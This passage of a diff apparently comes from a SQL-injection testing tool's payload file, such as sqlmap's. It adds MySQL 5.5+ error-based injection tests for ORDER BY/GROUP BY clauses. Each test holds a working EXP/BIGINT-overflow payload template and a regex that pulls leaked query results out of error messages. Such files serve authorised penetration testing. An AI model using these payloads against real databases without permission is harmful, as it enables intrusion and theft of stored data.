<vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
<stype>2</stype>
@ -898,6 +958,26 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request>
<payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.5</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
<stype>2</stype>